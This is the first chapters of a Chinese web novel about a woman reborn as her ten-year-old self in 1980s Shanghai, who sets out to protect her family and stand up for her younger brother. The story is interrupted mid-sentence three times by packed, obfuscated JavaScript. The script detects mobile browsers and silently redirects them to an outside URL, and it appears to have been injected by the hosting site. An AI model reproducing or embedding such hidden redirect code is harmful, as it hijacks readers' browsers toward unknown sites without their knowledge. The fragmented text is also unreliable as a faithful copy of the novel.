《大厂小囡逆袭日常[八零]》 1. 【咕噜噜噜】 胸口猛然揪紧,电击般的痛感在左侧胸腔内弥漫开来,可她的身体僵硬得无法动弹,甚至无法拿起床头的手机拨打求救电话。 在意识逐渐模糊起来的时候,程守萍居然没有感到紧张或恐惧,她反而有种解脱之感。 结束了也好…… …… 再睁开眼睛的时候,程守萍看到的是干净的白色天花板,胸口并无异样的疼痛与麻痹感。 她被送进了医院吗? 她转头看向周围,这是不到十平米的小房间,布置朴素而杂乱。 除了她躺着的这张床,房间另一头,靠门边还搭着张小床,被子胡乱地卷在床尾,被面褪色,看不出原来的颜色花样。 在两张床之间有个落地大衣柜,木板门上暗黄色的油漆已经开始剥啄脱落。 靠窗位置有个不大的书桌,比课桌大不了多少。桌边的椅子靠背上搭着运动服风格的外套与长裤。 ? 不是医院,也不是她家,但这环境怎么看起来这么眼熟…… 程守萍试着抬起胳膊,能动了,胸口似乎也不会痛了。但是……她的手怎么变小了? 举在眼前的手细细的,皮肤光滑而细腻。 她从床上坐起身,低头查看。瘦弱的身躯,细长的双腿,这是副小孩的身体。 她伸脚穿鞋,这一双脚腕也是细细的,下床还得往下伸一伸才能够到鞋子。 走到大衣柜的镜子前,镜子里是个瘦瘦的十来岁小姑娘,下巴尖尖的。这是她自己的脸,只不过年轻了几十岁。 ?? 她拉开桌上的书包,里面的课本上写着实验小学四年级(3)班。看到这几个字的一瞬间,仿佛有许多久远的记忆争先恐后地涌上来,却又模模糊糊地抓不住。 所以,她是回到了小时候? 四年级是她十岁那一年……妈妈已经不在了。她心头猛然揪紧,也是爸爸出事的那一年! 她还在试图理清头绪的时候,从门外传来一声呼唤:“守萍,上学要迟到了!” 这声呼唤把程守萍吓了一跳,本能地应了声“哦”。 看窗外照进屋子的光线,正是清晨时分。椅子上搭的是她小时候流行的运动服款校服。 “守萍!” 这一声催促已经带上明显的不满。 顾不上理清头绪,程守萍抓起校服套上,拎上书包就往外跑。 程根生站在家门口,一手牵着年幼的程宏志,一手拎着个尼龙布袋子,见她终于出来了,皱着眉摇了摇头,便转身带着程宏志往门外走去。 爸爸的手还是完好的,没有残疾。程守萍无声地呼出一口长气。 程宏志一边被程根生拉着往外走,一边努力地转身,朝她笑着挥手:“姐姐,我去上学啦!你也快快。迟到老师要罚你一个人坐的。” 房门被重新掩上。 程守萍如在梦中,重新打量周围。 狭小的厨房,阴暗逼仄,靠墙摆着一张方桌作为饭桌,周围放三张方凳后已无多少空间可供走动。另一边靠墙是一个蒙着绿色窗纱的碗橱,橱边堆着一些杂物。 这是她的家,小时候的家。 视线扫及墙上的绿色挂钟,发现指针指向七点十六分,再不去学校就要迟到了。虽然桌上给她留着早饭,但她没时间吃。 快速洗漱之后,她拎起书包便冲出了家门。 下楼,穿过弄堂,来到路上。 水泥铺就的路面,不过窄窄的两车道,路上行人匆匆,时不时有自行车从她身边骑过,二八大扛,几十年没看到过这样款式的自行车了。 步履匆匆地赶到学校,水泥门柱上挂着朴素的白漆黑字木牌,上书“宜平区实验小学”几个楷书大字。 还好,仍然有穿着同样校服的学生陆续进校,她还没迟到。 一路爬楼,一路搜寻记忆中班级所在位置,终于来到四年级(3)班的教室外,进门后她却站住了,略显茫然地扫视着教室内。 几十年过去,她早就记不清自己的座位在哪里了。 “守萍!守萍!”有个女生朝她招手,“发什么愣啊?” 蔡琳玲,她小学时的同桌。 程守萍松了口气,快步朝她走去,在她身边的空座坐下来。 “你怎么了?怎么进门就发呆啊?发生了什么事吗?” 程守萍没法说,连她自己都没明白过来到底发生了什么事,前一刻她还躺在自家床上等死,下一刻就回到了年幼时。 都说人死之前,一辈子的事会像走马灯一样播放一遍。 难道现在就是她临死前的幻觉?可这走马灯也太真实了点,甚至这会儿她嘴里还残留着没漱干净的牙膏味。 上课铃响,一个三十岁不到的年轻女人走进教室,在讲台上放下讲义。 陈老师,程守萍记起来了,妈妈住院的时候陈老师来家访过,鼓励她要坚强,临走前还留下了五元钱。那时候工资都不高,五元钱不是个小数目。 妈妈遭遇车祸,似乎是所有厄运的开始。 肇事车逃逸,找不到赔偿的人。妈妈意识不清,需要输血抢救,紧急手术后才过不久,妈妈又再次被送入手术室抢救。家里的积蓄都用完了,爸爸到处求人借钱,直到借无可借,妈妈仍然没有醒过来。 爸爸在医院与厂里两头奔波,之后又忙于操办葬礼,料理后事,无暇顾及家里。 三岁的弟弟刚上托儿所,回来就哭着闹着要妈妈。没人告诉他妈妈到底怎么了,为什么一直一直都不回家。那时候她才八岁,能管好自己和弟弟不饿死已经很不错了。 在那些夜晚,她常常在弟弟嘶哑的哭声或是抽噎声中写作业,写着写着她自己也开始抹眼泪,直到深夜也没能把作业写完。 妈妈过世半年后,她才慢慢缓过来,但当初的无忧无虑已经一去不返,她对学习怎么都提不起劲了。 上午四节课,程守萍上得恍恍惚惚,她仍然有种做梦一般的不真实感,总觉得自己随时都可能重回濒死的那一刻,甚至是直接眼前一黑,人事不知。 中午放课铃响,老师一走,教室里就喧腾起来。 值日生把一个大箱子抬进教室,中午带饭的同学一拥上前,寻找自己的饭盒。 实验小学的食堂提供热饭的服务,带饭的学生早晨把饭盒上交,午休之前,食堂会用大蒸箱把饭菜蒸热,这样就能吃上热饭菜了。也有些学生离家近,中午回家吃饭。 蔡琳玲一路喊着“好烫好烫”冲回来,把一个写着名字的铝制饭盒扔到桌上,抬手呼呼地吹气,瞧见程守萍不由讶然:“你怎么没回家?” 程守萍属于回家吃饭的那类。然而时隔太多年,她早上出门的时候压根没想起来这回事,甚至家门钥匙都没带上。 事实上她现在心绪很乱,需要时间独处,细细捋一遍现在的一切。 拉开椅子,她以回家为借口离开教室。 这会儿都在吃中饭,操场上没人,她便找了个阳光好的地方,就地在跑道边坐下。 早晨刚睁开眼时的那种不真实感正在慢慢褪去,她逐渐接受眼前新的现实。 不知为何她回到了八十年代,自己十岁的时候,带着过去几十年的记忆,嗯……也许说是未来几十年更合适? 前一世她失去学习的劲头后,成绩一直普普通通,初中毕业后进了技校,技校出来后就在父亲工作的厂里上班,做产品质检员,这一做,就是十几年。 二十多岁的时候,经人介绍认识了施建华,聊起来之后才知他也是实验小学的,只不过比她高了一届。那时候两人还觉得特别有缘,很快陷入热恋,一段时间后顺理成章地结婚了。 现在想起来只觉得好笑,同念一所小学算什么有缘?一所学校好几百学生,如果再算上毕业的,那不是成千上万人,难不成她还和那么多人都有缘份? 但那时候她眼瞎,只觉得施建华样样都好。婚后呢,也的确甜蜜了一段时间。 直到施建华发现她生不出孩子。 冷暴力持续多年后,他找了个外地的年轻女人给他生孩子。他在本市给那女人租了房子,两人同进同出,对周围邻居自称夫妻。 她一直被蒙在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059898|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓里。直到小孩满六岁,马上要读书了。那时候非婚生子女连户口都报不上,更不用谈报学校了。 施建华先是一改往日冷淡,对她百般体贴,又往家里买了不少东西,接着就提到想抱养个小孩,还说得冠冕堂皇,说怕她没孩子会觉得寂寞,在别人面前也一直抬不起头。 但他对抱养这件事太热切也太急迫了,让她看出破绽来,稍微试一试就漏了底。 那之后的施建华可说是丑态毕露,他说自己只是想要有个后,如果她答应不离,还能接纳那孩子,他马上和那个外地女人断干净,和她好好过日子。 她坚持要离婚,施建华就开始威胁她,说离婚了房子和钱一分都不会给她,还说不会放过她和她家里人,大不了一起去死。 离婚过程实在闹心,来来去去拖了很长时间,她在工作岗位上心不在焉出了错,导致单位经济损失,就此丢了工作…… 程守萍合了一下眼,将那些灰暗的记忆挥去。 都已经过去,是她不会再重蹈的覆辙。 几十年后,女人再也不需要靠婚姻与孩子来证明自己的价值,很多女人做事业比男人还出色。 未来会有多次激烈澎湃的时代转型,只要抓住一次机遇,人生就会有截然不同的转变。 前世她庸庸碌碌一生,看着别人出国留学,看着别人下海经商,看着别人炒股买房…… 今生再也不会这样度过,重生,就是她最大的机遇。 下午第一节课就是数学,她现在从头再读四年级,教的内容都驾轻就熟,所以她没花太多心思听老师讲课,脑子里还在盘算这重来一遍的人生要如何度过。 忽听老师喊她名字:“程守萍,这题怎么解?” 她急忙站起来,视线扫过黑板上的算式。 四则运算,简单。 她正要开口,肚子里突然响起一连串“咕噜噜噜”声,可能是因为之前一直坐着,骤然伸展身体后,她的胃突然意识到自己空空如也,便立时发出一长串喧响抗议。 鸦雀无声的教室里,这一串“咕噜”声听得特别清晰。 “嗤——”、“噗!”、“哈哈哈哈!——”教室里一片哄笑。 如果是四十年前的程守萍,她大概会觉得十分难堪,甚至可能羞愤地夺门而出。 但现在,她只是略感无奈而已,肚子饿了会叫,这只是正常的生理反应啊。 刘老师知道程守萍家里的情况,自从她妈妈出事后,她的学习成绩再也没有回到前列,始终在班级中游偏下徘徊,虽然觉得颇为可惜,但作为老师可做的十分有限。 点她名,只是因为看她心不在焉的样子,特意提醒她认真听课罢了,根本没指望她能回答出个一二三四来,却没想到这孩子居然还饿着肚子,也难怪她注意力没法集中了。想到这里,刘老师同情地朝她点点头,示意她坐下不用回答了。 程守萍却没坐,轻轻吸了口气,接着朗声说出解题过程。 嘲笑声渐渐轻了下来,直到完全止歇。 刘老师略显惊讶地望着她,听完解答后赞许地点头:“答对了。坐下吧。” 他转身在黑板上书写解题过程,和程守萍给出的步骤完全一致。 “程守萍同学答的非常好,这一题特别容易搞错的地方是……” 随着刘老师的讲解,班里好几个同学交头接耳小声议论,不少人都向程守萍投来诧异的目光。 她只是笑笑。 下课铃响起。蔡琳玲轮到今天值日,本该立即上去擦黑板的,但因为刚才数学课上的事,又不太放心程守萍,摇了摇她胳膊:“你没事吧?” 程守萍朝她微笑摇头:“没事。快去擦黑板吧,要是没来得及擦干净,你要吃批评的。” “就剩两节课了,你再坚持坚持,很快就能解放了。”蔡琳玲丢下这句,一路小跑冲向黑板。 程守萍收回目光,视线扫过桌面,突然发现自己铅笔盒旁边多了个巴掌大的墨绿色铁皮盒子,盒子周围还有嫩绿色的藤蔓花纹。 坐蔡琳玲前面的男生正在转回身体。是他放的? 2. 【万年青饼干】 蔡琳玲去擦黑板了,坐程守萍前面的男生也不在座位上。 这个小铁皮盒子除他之外也没别人能放了。 程守萍想了半天,愣是没想起来前排这男生的名字。 出于好奇,她拿起铁皮盒子打开看了看。 扑鼻一阵浓郁的葱香夹杂着奶油甜香! 盒子里是排得整整齐齐的金黄色小圆片。 万年青饼干! 程守萍不争气地咽了咽唾沫,只觉肚子里又要闹。急忙拿出三片饼干,塞了一片进嘴,随即盖好盒盖,递回给前排男生。 “谢谢你啊,呃……同学。”还是想不起来他叫啥。 男生回过头来,扫了眼她手里那两片饼干,说:“我……不喜欢吃这种饼干,我妈非要我带的。” 那,她就却之不恭了吧。 说是这么说,程守萍也只是拿走五片,余下的仍是还给他。人家只是说的客气,不能就当自己福气啊。 “啊?是谁不喜欢吃饼干哪?”洗完手回来的蔡琳玲听到了最后一句,接口道,“吃不掉的饼干通通交给我。” 男生刚准备收回去的饼干盒在半空中明显顿了顿,又朝蔡琳玲递去。 蔡琳玲打开盒盖,欢呼一声:“万年青!” 她这一声颇大,顿时吸引来好几道目光。 蔡琳玲咬一口,发现饼干松脆酥香,便把余下大半块都塞进嘴里,大口嚼着,口齿不清地说:“这么好吃的饼干你为什么不喜欢啊?也没受潮啊。唔唔,真香!” 坐在附近的同学听到了,纷纷伸手过来,你一片我一片,很快将整盒饼干瓜分的干干净净,连一点饼渣子都不剩。 蔡琳玲掏出手帕抹嘴擦手,把饼干盒还给前排男生:“沈继舟,帮你消灭掉了,不用谢我。” 沈继舟:“……”默默接过已经空了的盒子,放回书包。 程守萍拿手肘轻轻捅了一下蔡琳玲,虽然人家老实,可也不应该这样欺负人啊。 原来他叫沈继舟啊,听到名字她才依稀有了点印象,但小学几年下来几乎没和他说过话,所以印象非常的淡,几十年过去,早就被她忘得一干二净了。 “做啥呀?”蔡琳玲抚着胳膊,纳闷地看看她。 程守萍凑近她小声说话:“别得了便宜还卖乖,吃了人家那么多饼干,至少应该谢一声吧。” 蔡琳玲露出一个恍悟的表情,朝沈继舟嬉皮笑脸:“谢谢你,沈同学。” 程守萍也诚恳地再谢了他一次:“谢谢你,沈同学。”总算能叫出名字了,又不是校园里偶然见到不认识的,招呼一下“同学”。同班同学又是前后排的,连姓名都不知道的话也太奇怪了。 “不,不用谢的。”沈继舟没转身,只朝着她的方向略微侧转头,轻轻摇了摇头。 这时铃声响起,大家便都收了声。程守萍把下堂课要用的书本笔记本都拿出来,放在课桌右上角,对齐桌角线。 之后两节课程守萍上的轻松无比,好歹是初中毕业的,肚子也不饿了,小学四年级的课程还不是手拿把掐么。 放学后程守萍都是去爸爸上班的工厂食堂吃饭。 她先去厂办幼儿园接弟弟。这个厂办幼儿园一共就两个班,三岁之前的是托儿班,4岁到6岁的娃娃混在一起上幼儿班。 程守萍过去的时候,老师正让小朋友们搭积木,边玩边等家长来接。 但程守萍没在里面看到程宏志,她扫了眼周围,看到弟弟独自坐在一个小板凳上,在教室的角落。他一脸沮丧地望着兴高采烈搭积木的小朋友们,眼神里带着强烈的羡慕。 她的记忆一下子就回来了。 那时候,老师告诉她,宏宏打了别的小朋友,把别人脸都抓破了。 她那会儿才十岁,哪知道该怎么处理这种事啊,老师说完她直接愣在原地,不知道是该认错还是该怎么办,而且老师说完也没有让她带走宏宏的意思,就让她喊家长过来。 她去找来爸爸,路上把事情说了。爸爸沉着脸听完经过,到幼儿园又听老师训了一顿,他朝老师不停点头承认宏宏错了,把宏宏带到被抓破脸的小朋友面前,让宏宏道歉,还买了水果送去这小朋友的家里。 但晚上回到家后,她听宏宏说,因为那块红积木的样子很像枪,他就假装自己是解放军,拿着手枪打坏人。 是那个小朋友先抢他手里的红积木,还对他腿上踢了一脚,那时候老师没看到。然后宏宏还手的时候把小朋友脸抓破了,那小朋友当场哭开,老师听到哭声才跑过来查看发生了什么事。 爸爸听完一句话没说,沉默了半晌,让宏宏赶紧洗洗睡觉。 那时的她,只会觉得宏宏很委屈,却什么也做不了。 但如今的她已经不是当时那个十岁的小女孩了。 程守萍仔细看了看那个被抓破脸的小男孩,所谓的抓破脸,就只是靠近鬓角的位置有半个小指甲盖那么大的红痕,破了薄薄一层油皮,这个小男孩也完全忘了脸上被抓的事,高高兴兴地玩着从宏宏手里抢过去的红积木。 她弯腰问他:“你这块积木,是刚才宏宏在玩的吗?” 小男孩点点头。 “是他给你玩的吗?” 小男孩摇了摇头。 “他没有给你,怎么会在你手里呢?” 小男孩似乎意识到了什么,低头摆弄积木不说话。 老师这会儿才注意到她,朝她走过来:“是来接宏宏的吧?宏宏刚才和康康争抢积木,把康康的脸都抓破了。你去喊你爸爸过来一次。” 程守萍站直身子,目光直视比自己高了好几头的女老师:“柳老师,宏宏一开始自己在玩,是康康从他手里把积木抢走,还踢了他一脚,宏宏害怕再被他打,用手挡开他的时候,他还冲上来,这才蹭破了皮的。” “我姓王。”老师不快地纠正道。 “哦对不起,王老师。”程守萍顺利问出她的姓,接着说道,“如果是宏宏先动手抢积木,还抓破康康的脸,那么这块积木应该在宏宏手里,而不是康康在玩,不是吗?” 王老师只认为她是帮弟弟开脱。“刚才打架的时候你又不在。”说着不耐烦地朝她挥挥手,“快点去喊你爸爸过来。” “王老师不也没有看到完整的打架过程吗?为什么就认定是宏宏的错呢?” 王老师被她问的一愣,但平时习惯了摆老师威风,那儿能让这么个十来岁的小女孩质疑自己的判断:“康康受伤了啊。他脸被抓破了,这不是实打实的证据吗。” “那么如果宏宏也受伤了呢?是不是就能证明康康也动手了?” 王老师看了眼坐在角落的宏宏,看不出他有哪里受伤:“如果是的话,那就两个人都有错。” 程守萍朝宏宏走过去,俯身挽高他的裤腿,借机凑近他耳边悄声说话:“等会儿问你,你就哭着说腿疼,康康踢得你好疼。” 宏宏一看见姐姐,委屈的眼泪就吧嗒吧嗒掉下来了,压根就不用装哭。 挽高了裤腿后,可以清晰地看到小腿上有块红印子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059899|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王老师也看见了,没好气地撇撇嘴:“行了,快把宏宏接走吧。” 程守萍可不干了:“是康康踢了宏宏,他要向宏宏道歉。” 王老师开始和稀泥:“但宏宏也抓破了康康的脸,就算扯平了,本来打架就不对,宏宏和康康都是有错的。” “但是宏宏已经罚坐墙角过了,康康却没有受过罚,这不公平。要么康康也一样罚坐,要么康康向宏宏道歉。” “你这小囡怎么这么较真呢!” “因为他是我弟弟啊,我不较真帮他,谁来帮他?”就连爸爸,也没有先问问事情前后,就认定了是宏宏的错,不光自己摆低姿态向老师道歉,还让宏宏向康康道歉,向康康的家人道歉。 事后才发现宏宏没犯错,还是受委屈的那一方,又有什么用? 程守萍上一辈子也曾忍过不少委屈,有的时候是为了息事宁人,也有的时候是因为欠缺去争去抢的勇气,用一句“算了”说服自己。实际上,还是把自己放在了弱者的位置。 但到了最后,她所有的忍让与牺牲都是白费,不但换不回别人的感谢或同样的善意回报,反而让别人认为这是他应得的,得寸再进尺,更进一步地侵占她的权利。 一步让,步步让。 不管现在是真是假,是做梦也好,是走马灯也罢,她再也不会轻易退让。 王老师看程守萍这么坚持,也懒得再和她论理,朝康康招了下手:“过来,向宏宏道歉。” 康康不情不愿地走近,朝宏宏咕哝了句:“对不起。”声音含糊得听不清他在说什么。 程守萍纠正道:“你应该说,宏宏对不起,我不该踢你,不该和你抢玩具,以后我再也不会这么做了。” 康康偷瞟一眼王老师,但王老师板着脸没说话。他没法子,小声重复着程守萍说的话,程守萍说一句,他跟着念一句,总算是把这个歉道完了。 程守萍牵着弟弟走出幼儿园的时候,看见了爸爸。 程根生匆匆赶来,见姐弟俩都好好的,暗暗松了口气,随即皱起眉来问:“怎么那么晚?” 程守萍把事情经过简短地说了一遍。 程根生略感意外,女儿的性格他还是知道的,她以前从来没有这样过,这么直接地与老师论理,争是非对错。是长大了,变得要强了? 这样的女儿不知不觉让他想起了秀珍。 程根生一路沉默。 程宏志却是满脸崇拜之色,望着姐姐的那对大眼睛都快冒出星星泡来了。 班里雯雯老是说她哥哥有多厉害,说她哥长得又高,跑的也快,她哥哥可不敢和老师这么争!姐姐不光争过了王老师,还让康康向他道歉了! 程守萍一低头看到弟弟望向自己的眼神,晃晃他的小手:“想什么呢?” “姐姐真好。比雯雯的哥哥还厉害!” 程守萍微觉好笑,想起他说的那个叫夏雯丽的女孩,和宏志一样年纪,小学也是一起上的,算得上是青梅竹马。后来不知发生了什么事,宏志再也没有在他们面前提过夏雯丽。她有次问过宏志,但他不肯说发生了事。 那时候她自己也才十几岁,正是少女心事最重的时候,对其他人的事不会去深想,慢慢这个女孩就淡出了她的生活圈子。 好几年后的事情,现在多想也没用。 程守萍瞄了眼父亲的右手,宽厚有力的男人手掌,手背上有长期劳作形成的粗大血管与筋腱。 眼前最最重要的事,是要保住父亲的手。 3. 【检讨书】 程守萍对那一天的记忆特别深刻。 放学后她和平常一样去工厂,照例和门卫大叔打招呼。门卫大叔却没有如往常那样笑嘻嘻地点头,反而显得脸色凝重。他告诉她爸爸受伤了,人已经送去医院了。 她心慌得怦怦跳,不知道该怎么办才好。门卫大叔叹了口气,让她先接弟弟回去,说厂里会安排她爸爸治疗的事,也会安置好她们姐弟的,让她别急。 过了三天,厂里派人接姐弟俩去医院,她看到病床上的爸爸脸色发灰,整个右手都被裹得严严实实。 那时候她还不知道爸爸的大拇指与食指已经截去。 爸爸甚至还朝她们笑了笑,问她们这几天怎么吃饭的,有没有好好上学。 后来她才知道那天有工人违规操作,车刀没有装好,人就离开了,爸爸不知道车刀没装好,开机后车刀与零件发生撞击后飞出来,削断了爸爸的手指。 …… 她在笔记本上把那一天的日期记下来,还重重画了两个红圈:10月21日。 今天是15日,还有一个星期不到的时候。她仍有机会阻止不幸的发生。 如果她的重生能再早两年就好了,那样她还能救下妈妈。 不想了,改变不了的事,多想没用。 她深吸口气,翻开教科书,刚开学没多久,之前学过的内容不多,大致浏览过一遍她就有了底。 程守萍写作业的时候,宏宏就在厨房玩,程根生用厂里的废料加工了些小玩意儿,像是小铁马啊,钢皮小人之类的,宏宏拿这些玩打仗游戏。 宏宏玩的时候,程根生在一旁听收音机里刘兰芳讲《岳飞传》。 “……金兀术的大斧子‘力劈华山’下来,岳飞‘举火烧天’往上迎——‘镗啷啷’!震得山谷回音,火星子崩起多老高……” 隔着房门,程守萍依稀能听到收音机里的评书,声音十分模糊,听不清楚说的是啥,但那抑扬顿挫的音调,正是她童年时期非常熟悉的背景音。 厨房传来水声,是爸爸在给宏宏打水洗脸、洗脚。 程守萍将课本与作业本收进书包,起身去把床上被子铺好。不管将来如何,先要把眼前的日子踏踏实实过好才行。 双人床本来是爸爸妈妈和宏宏睡的,她独自睡小床。后来妈妈出了事,爸爸每天晚上都要很晚才回家,大床就变成了她和宏宏睡,爸爸睡小床。 程根生领着宏宏进屋,顺口问了句:“作业写完了?” “嗯!”程守萍点点头,“都写完了。” 宏宏光着两只小脚丫,爬到大床上也不进被子睡觉,头顶着被子试图翻跟头,但总是翻一半就歪了,身体倒向侧面,变成了横躺。他还不气馁,爬起来继续尝试。 程守萍教他:“头顶住地,两只脚分开些,然后要用力一蹬,力道不足是翻不过去的,所以你才会朝旁边歪呀。” 宏宏照着她说的做,果然一下子翻过去了,他高兴得直拍手,然后就开始一遍又一遍地练习新学会的技巧。 程守萍去洗漱,回来的时候,宏宏还在翻跟头,还翻出花头来了,从床尾翻到床头,再从床头翻到床尾。 因为房间不大,大床的三面都顶着墙,所以也不怕他滚到地上。但翻多了跟头,身上肯定要出汗。 程守萍揪住宏宏不让他再翻,伸手进他后领一摸,果然一身汗。 她回厨房再打了些热水,拧条毛巾进屋,帮宏宏把汗擦了,叮嘱他今晚不能再翻跟头了。 宏宏转着眼珠答应了。 程守萍一看他就是假意答应,只要她一转身回厨房,他肯定又要继续翻滚。 “如果你乖乖听话躺好不动,等我回来就给你讲个故事。” “真的?什么故事?什么故事?”宏宏期待极了,甚至连问两遍。 “等我回来你不就知道了。”程守萍卖了个关子,其实她也没想到讲什么,搓毛巾倒水的时候正好想一下讲哪个故事。 程根生还坐在厨房桌边听收音机,这会儿已经不是评书,换了广播剧。但他的心思完全不在收音机上。房间门开着,女儿和儿子的对话他都听在耳里。女儿做的这些事,像极了秀珍以前会做的,再联想到今天在幼儿园里她替宏宏争辩的事。 就好像一夜之间,女儿长大了许多。 程守萍完全不知道老父亲在感慨些什么,倒完水就回房,关灯上床,闭着眼睛给宏宏讲故事,讲着讲着自己倦意也上来了,不知什么时候就睡着了。 清晨,闹钟准时响起。 程守萍睁眼瞧见的还是这一居室,彻底松了口气,昨晚入睡时其实她还有种不安,生怕再醒过来的时候发现自己是在医院里,所谓的重生只是一场梦。 幸好不是。 - 程守萍本以为饼干的事过去就过去了,没想到早晨第一节课,陈老师一脸严肃地点了沈继舟的名:“昨天你是不是在教室里分发饼干?” 沈继舟点头说是。 “你愿意与同学分享糕点,可能是出于好意,说明你是个大方的孩子。但这样高调地分发,会造成大家的攀比心理,比谁带来学校的点心更高档,比谁用的文具更高级,比来比去,就会不把心思专注在学习上……” 蔡琳玲一边听一边偷偷吐舌头,在沈继舟背后悄声恳求:“你可别把我供出去,求求你了。” 沈继舟就真的一句都没解释,默默听着老师批评。 程守萍本来倒是想举手说明当时情况,但蔡琳玲这么一恳求,她也有了顾虑。如果当众说明沈继舟只是把饼干给她,并没有想要在班里大肆分发,很容易扯出蔡琳玲来。 最后陈老师要求沈继舟写一份检讨,今天放学前上交。 下课后,程守萍跟着陈老师离开教室,一直跟到教师办公室外,这里已经没有其他同学了,她才喊住陈老师:“老师,昨天分饼干的事其实是意外。” 陈寒梅转身,诧异地问:“为什么说是意外?” “昨天数学课上我肚子饿得咕咕叫,同学们听到都笑了。沈同学是好心才拿出自己的饼干给我充饥。结果被其他同学看到饼干,你一块我一块地就这么分光了。沈同学来不及阻止,也不好意思阻止,其实他才是最冤的。”饼干被吃光不算,还要吃批评写检讨。 昨天程守萍在数学课上发生的事,刘老师回办公室后向陈寒梅提过,她当时就决定以后多关心关心程守萍,如果孩子连饭都吃不饱,又怎么能专心学习呢? 她想程守萍家里肯定又发生了什么变故,本打算等第三四节课空下来的时候找她好好问问,想不到她先来向自己解释了。 “守萍,你家里是不是出了事?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059900|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 程守萍完全没想到老师会这么问,摇摇头:“没事啊,一切都好。” 陈寒梅并不信,但接下来还有课,她没有太多时间,就先了解了分饼干的细节,最后点点头道:“这样吧,你先回去,让沈继舟暂时不要写检讨,第三节课下课后来办公室一次。” 程守萍点点头。 她快步回到教室,就见沈继舟面前放着一本作文本,上面端端正正写了三个字:检讨书。除此之外一片空白。 大概是出于愧疚心理,蔡琳玲在他身后格外积极地出主意:“你就这么写,先承认错误,然后把老师批评你的话统统写上去,再写写自己有多后悔,最后下保证,坚决保证再也不会犯这样的错误。这样就差不多了,按你写作文的水平,还不是随随便便几百字。” 听到最后一句,程守萍想起来了,这位沈同学作文写得好,陈老师是经常表扬的,也让他当堂念过自己的作文给大家听。 可偏偏写不来检讨书。 她看到了男孩抿成一线的双唇,绷紧的下颌。 也许不是写不来,是不愿吧。 十来岁的少年,还未变得麻木不仁,要在检讨书里承认自己并未犯下的错误非常艰难,甚至是种屈辱。 她走到他面前,把作文本合起来:“不用写了。” 他惊讶地抬头望向她。 这是程守萍第一次注意到他的眉眼,是那种很干净很清爽的少年人,眼神直白澄澈,眉峰利落,藏着一丝隐约的倔强。 蔡琳玲抢着问:“为什么不用写了?” 程守萍回到座位上,才低声把自己刚才去找陈老师解释的事说了:“陈老师让你过去,肯定是想听听你的说法,你照事实说就行……” 蔡琳玲揪了她一下。程守萍没好气地看了她一眼,还不是她闯出来的祸,还要沈继舟帮她掩饰,替她背锅。程守萍接着往下继续说:“要是你愿意帮琳玲兜着点,就别提她名字,只说同学们听到你说不爱吃这种饼干后就围了过来,你没来得及阻止,饼干就给分光了。” 蔡琳玲双手合十,朝沈继舟做出拜拜的动作:“菩萨,请你大发慈悲!” 沈继舟点头,算是默认了这套说辞。接着他看了程守萍一眼,似乎还想说点什么。 这时候前排右座的男生回来了,一屁股坐上椅子,一边挥着校服散热,一边用袖子擦着汗。 “王新宇,你不要扇了,全是你的汗味,臭死了。”蔡琳玲大叫。 王新宇不甘示弱地还嘴:“我都热死了,为啥不能扇?你才吵死了。” 沈继舟便默默把话吞了回去。 第四节课下课后陈老师来找程守萍,问她午饭怎么吃。 程守萍打算以后都在学校吃中饭,虽然家离得近,一来一去也要花去半个小时,有这时间她可以预习功课,或者提前把回家作业写完。 她照实说了。陈老师又追问她家里是否还好,有没有发生什么事。 程守萍这才明白陈老师因为昨天数学课上的事起了误会。她本来想直接说明,转念一想又改了口:“家里没事,不过我最近胃口有点差,肚子还老是自己乱响,昨天就是。爸爸想带我去医院查查,可是他连着几个星期天都要轮班,实在抽不出空来,陈老师,我能不能在21日那天请病假?那天我爸爸有空,可以带我去医院。” 4. 【请客】 陈寒梅听完她的解释,倒是合情合理,和昨天的事也对上了,但怕孩子是要强,还是不太放心,又追问了一遍。 程守萍笑着摇头:“陈老师,真的没事,我爸我弟都挺好的,谢谢陈老师关心,我一定会好好学习的,请老师放心。” 自从妈妈出事之后,她有很长一段时间都处于一种恹恹的,做什么都提不起劲儿来的状态,即使班级里有什么好笑的事情,她也会跟着笑,但那种笑容转瞬即逝,短暂,有隔阂。可今天这个笑容完全不同,特别有精神,又很放松坦然。 陈寒梅看到程守萍这个笑容后,也笑了起来:“那就好。21日给你半天事假,请假条要家长签字。” “谢谢陈老师。” 她回到教室里,蔡琳玲已经帮她把饭盒拿好了,这会儿温度正好不烫手。 蔡琳玲朝她凑近咬耳朵:“哎,你说到底是谁向老师打小报告,说沈继舟在教室里发饼干搞请客的?” 程守萍想了想:“可能是昨天想吃但没能吃到饼干的人,还有就是平时嫉妒他的人。” 蔡琳玲向前后左右扫了一圈,似乎有了怀疑目标,接着一口气报了好几个名字。 